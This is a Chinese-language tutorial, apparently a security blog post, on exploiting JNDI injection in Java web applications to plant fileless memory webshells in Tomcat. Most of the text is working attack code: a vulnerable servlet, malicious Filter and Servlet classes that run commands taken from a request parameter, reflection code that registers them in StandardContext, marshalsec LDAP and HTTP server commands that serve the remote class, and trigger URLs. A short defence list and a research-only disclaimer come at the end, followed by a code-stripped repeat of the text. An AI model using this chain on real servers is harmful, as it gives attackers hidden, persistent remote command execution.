无文件攻击实战:利用JNDI注入实现内存马持久化
字数 1776 2025-11-11 12:07:34

无文件攻击实战:利用JNDI注入实现内存马持久化

引言

在当前的Web安全攻防对抗中,内存马凭借其极高的隐蔽性优势,已成为高级攻击者首选的持久化方案。与传统文件型Webshell相比,内存马完全运行于服务器内存中,不产生磁盘文件,能够有效绕过基于文件检测的安全防护。

要实现这种无文件落地的内存驻留,需要特定的技术条件作为支撑。当应用存在JNDI注入漏洞时,攻击者可利用JNDI的远程类加载特性,通过精心构造的恶意Reference,在目标服务器的内存中动态植入并执行恶意代码,实现持久化控制。

什么是JNDI

JNDI基本概念

JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供统一的客户端API,使Java应用程序能够与不同的命名服务和目录服务进行交互,比如RMI、LDAP、DNS等。

JNDI可通过RMI协议访问远程对象,此时RMI充当JNDI的底层通信实现。例如通过rmi://URL格式查找RMI注册表中的对象。JNDI的核心入口类就是InitialContext

JNDI注入原理

服务器可能存在这样的代码片段:

InitialContext initialContext = new InitialContext();
initialContext.lookup(url);

当调用lookup(url)方法时,JNDI会根据提供的名称在相应的命名服务(如RMI、LDAP)中查找已注册的对象。如果查找的是一个直接的Java对象,那么返回的是该对象的引用;如果查找的是一个Reference引用对象,JNDI会尝试从指定的代码库地址加载类,并通过对象工厂来构造对象实例。

JNDI注入简单实例

服务端代码:

public class JNDITest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("url");
        resp.getWriter().println(url+"test");
        try {
            resp.getWriter().println(url);
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(url);
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}

远程对象代码:

public class test {
    public test() {
        System.out.println("JNDI接口创建对象成功!代码注入成功");
    }
}

攻击过程:

  1. 将test类托管到JNDI服务上
  2. 访问服务器:localhost:8080/JNDI_Memory/jnditest?url=ldap://127.0.0.1:1099/test
  3. 服务端输出test构造函数中的内容,说明成功执行代码

版本要求: 一般需要JDK版本较低,如JDK 8u65

注入内存实战

环境搭建

模拟被攻击的服务端

项目结构:

  • 创建WEB项目
  • 配置web.xml
  • 创建存在漏洞的servlet类

pom.xml依赖配置:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>javax.servlet-api</artifactId>
    <version>3.1.0</version>
    <scope>provided</scope>
</dependency>

web.xml配置:

<web-app>
    <servlet>
        <servlet-name>JNDITest</servlet-name>
        <servlet-class>com.jndi.JNDITest</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>JNDITest</servlet-name>
        <url-pattern>/jnditest</url-pattern>
    </servlet-mapping>
</web-app>

漏洞servlet代码:

public class JNDITest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("url");
        try {
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(url);
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}

模拟攻击的客户端

内存马技术实现

Filter内存马实现

恶意Filter类:

public class JNDIFilter extends HttpFilter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        Process exec = Runtime.getRuntime().exec(cmd);
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
        String lines = "";
        while ((lines = bufferedReader.readLine()) != null) {
            response.getWriter().println(lines);
        }
    }
}

关键技术点

1. 类动态加载技术

利用ClassLoader的defineClass方法实现类的动态加载:

// 获取当前的上下文类加载器
ClassLoader ctx = Thread.currentThread().getContextClassLoader();
// 通过反射获取defineClass方法
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// 还原类字节码
Class<?> clazz = (Class<?>) defineClassMethod.invoke(ctx, decodes, 0, decodes.length);
Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();

2. 字节码转换Base64

使用Javassist库将类转换为字节码并编码:

ClassPool aDefault = ClassPool.getDefault();
CtClass ctClass = aDefault.get("JNDIFilter");
byte[] bytecode = ctClass.toBytecode();
String base64Code = Base64.getEncoder().encodeToString(bytecode);

3. StandardContext获取

通过类加载器获取StandardContext对象:

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) classLoader;

// 获取resources字段
Field resourcesField = getResourcesField(pwcl);
resourcesField.setAccessible(true);
Object resources = resourcesField.get(pwcl);

// 从resources获取context
StandardContext standardContext = getContextFromResources(resources);

辅助方法:

private static Field getResourcesField(ParallelWebappClassLoader pwcl) {
    Class<?> clazz = pwcl.getClass();
    while (clazz != null) {
        try {
            Field field = clazz.getDeclaredField("resources");
            return field;
        } catch (NoSuchFieldException e) {
            clazz = clazz.getSuperclass();
        }
    }
    return null;
}

private static StandardContext getContextFromResources(Object resources) {
    if (resources instanceof StandardRoot) {
        StandardRoot standardRoot = (StandardRoot) resources;
        Field contextField = standardRoot.getClass().getDeclaredField("context");
        contextField.setAccessible(true);
        Object context = contextField.get(standardRoot);
        if (context instanceof StandardContext) {
            return (StandardContext) context;
        }
    }
    return null;
}

4. Filter动态注册

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");

standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
standardContext.filterStart();

完整的恶意注入类

public class JNDIInject {
    public JNDIInject() throws Exception {
        // 获取StandardContext
        StandardContext standardContext = getStandardContext();
        
        // 还原Filter类
        String filterCode = "BASE64编码的字节码";
        byte[] decodes = Base64.getDecoder().decode(filterCode);
        Filter filter = loadFilterFromBytes(decodes);
        
        // 注册Filter
        registerFilter(standardContext, filter);
        System.out.println("success!!");
    }
    
    // 辅助方法实现...
}

注入攻击流程

环境准备

1. 启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#JNDIInject" 1099

2. 启动HTTP服务
在恶意类文件目录下启动Python HTTP服务:

python -m http.server 80

攻击执行

访问存在漏洞的URL:

http://localhost:8080/JNDI_Memory/jnditest?url=ldap://127.0.0.1:1099/JNDIInject

验证攻击效果

通过Filter执行命令:

http://localhost:8080/JNDI_Memory/shell?cmd=whoami

Servlet内存马实现

恶意Servlet类

public class JNDIServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        Process exec = Runtime.getRuntime().exec(cmd);
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
        String lines = "";
        while ((lines = bufferedReader.readLine()) != null) {
            resp.getWriter().println(lines);
        }
    }
}

Servlet注入实现

public class JNDIServletInject {
    public JNDIServletInject() throws Exception {
        StandardContext standardContext = getStandardContext();
        
        // 还原Servlet类
        String servletCode = "BASE64编码的Servlet字节码";
        byte[] decodes = Base64.getDecoder().decode(servletCode);
        Servlet servlet = loadServletFromBytes(decodes);
        
        // 注册Servlet
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName("shell");
        wrapper.setLoadOnStartup(1);
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded("/shell", "shell");
    }
}

技术总结

JNDI注入内存马特点

  1. 无文件持久化:恶意代码完全驻留于内存,无需在磁盘写入任何文件
  2. 组件多样化:支持多种恶意组件注入
  3. 高隐蔽性:绕过传统文件检测机制

支持的内存马类型

  • Servlet内存马 - 注册恶意Servlet组件
  • Filter内存马 - 注入恶意Filter拦截请求
  • Controller内存马 - Spring环境中注册恶意Controller
  • Agent内存马 - 通过Java Agent技术修改字节码
  • Listener内存马 - 注册事件监听器实现持久化

防御建议

  1. 升级JDK版本:使用高版本JDK(如8u191+)限制远程类加载
  2. 输入验证:对JNDI lookup参数进行严格过滤
  3. 安全配置:配置JVM安全策略限制外部代码加载
  4. 监控检测:部署内存马检测工具监控异常行为

后记

该技术标志着攻击手段从传统的文件型Webshell向无文件、内存驻留的高级持久化技术发展,充分利用了Java生态的动态特性和灵活性。随着攻防对抗的不断升级,后续将逐渐加入其他方式的无文件落地内存马实现方案。

注意:本文仅用于安全研究和技术学习目的,请勿用于非法用途。

无文件攻击实战:利用JNDI注入实现内存马持久化 引言 在当前的Web安全攻防对抗中,内存马凭借其极高的隐蔽性优势,已成为高级攻击者首选的持久化方案。与传统文件型Webshell相比,内存马完全运行于服务器内存中,不产生磁盘文件,能够有效绕过基于文件检测的安全防护。 要实现这种无文件落地的内存驻留,需要特定的技术条件作为支撑。当应用存在JNDI注入漏洞时,攻击者可利用JNDI的远程类加载特性,通过精心构造的恶意Reference,在目标服务器的内存中动态植入并执行恶意代码,实现持久化控制。 什么是JNDI JNDI基本概念 JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供统一的客户端API,使Java应用程序能够与不同的命名服务和目录服务进行交互,比如RMI、LDAP、DNS等。 JNDI可通过RMI协议访问远程对象,此时RMI充当JNDI的底层通信实现。例如通过 rmi:// URL格式查找RMI注册表中的对象。JNDI的核心入口类就是 InitialContext 。 JNDI注入原理 服务器可能存在这样的代码片段: 当调用 lookup(url) 方法时,JNDI会根据提供的名称在相应的命名服务(如RMI、LDAP)中查找已注册的对象。如果查找的是一个直接的Java对象,那么返回的是该对象的引用;如果查找的是一个Reference引用对象,JNDI会尝试从指定的代码库地址加载类,并通过对象工厂来构造对象实例。 JNDI注入简单实例 服务端代码: 远程对象代码: 攻击过程: 将test类托管到JNDI服务上 访问服务器: localhost:8080/JNDI_Memory/jnditest?url=ldap://127.0.0.1:1099/test 服务端输出test构造函数中的内容,说明成功执行代码 版本要求: 一般需要JDK版本较低,如JDK 8u65 注入内存实战 环境搭建 模拟被攻击的服务端 项目结构: 创建WEB项目 配置web.xml 创建存在漏洞的servlet类 pom.xml依赖配置: web.xml配置: 漏洞servlet代码: 模拟攻击的客户端 内存马技术实现 Filter内存马实现 恶意Filter类: 关键技术点 1. 类动态加载技术 利用ClassLoader的defineClass方法实现类的动态加载: 2. 字节码转换Base64 使用Javassist库将类转换为字节码并编码: 3. StandardContext获取 通过类加载器获取StandardContext对象: 辅助方法: 4. Filter动态注册 完整的恶意注入类 注入攻击流程 环境准备 1. 启动LDAP服务 2. 启动HTTP服务 在恶意类文件目录下启动Python HTTP服务: 攻击执行 访问存在漏洞的URL: 验证攻击效果 通过Filter执行命令: Servlet内存马实现 恶意Servlet类 Servlet注入实现 技术总结 JNDI注入内存马特点 无文件持久化 :恶意代码完全驻留于内存,无需在磁盘写入任何文件 组件多样化 :支持多种恶意组件注入 高隐蔽性 :绕过传统文件检测机制 支持的内存马类型 Servlet内存马 - 注册恶意Servlet组件 Filter内存马 - 注入恶意Filter拦截请求 Controller内存马 - Spring环境中注册恶意Controller Agent内存马 - 通过Java Agent技术修改字节码 Listener内存马 - 注册事件监听器实现持久化 防御建议 升级JDK版本 :使用高版本JDK(如8u191+)限制远程类加载 输入验证 :对JNDI lookup参数进行严格过滤 安全配置 :配置JVM安全策略限制外部代码加载 监控检测 :部署内存马检测工具监控异常行为 后记 该技术标志着攻击手段从传统的文件型Webshell向无文件、内存驻留的高级持久化技术发展,充分利用了Java生态的动态特性和灵活性。随着攻防对抗的不断升级,后续将逐渐加入其他方式的无文件落地内存马实现方案。 注意 :本文仅用于安全研究和技术学习目的,请勿用于非法用途。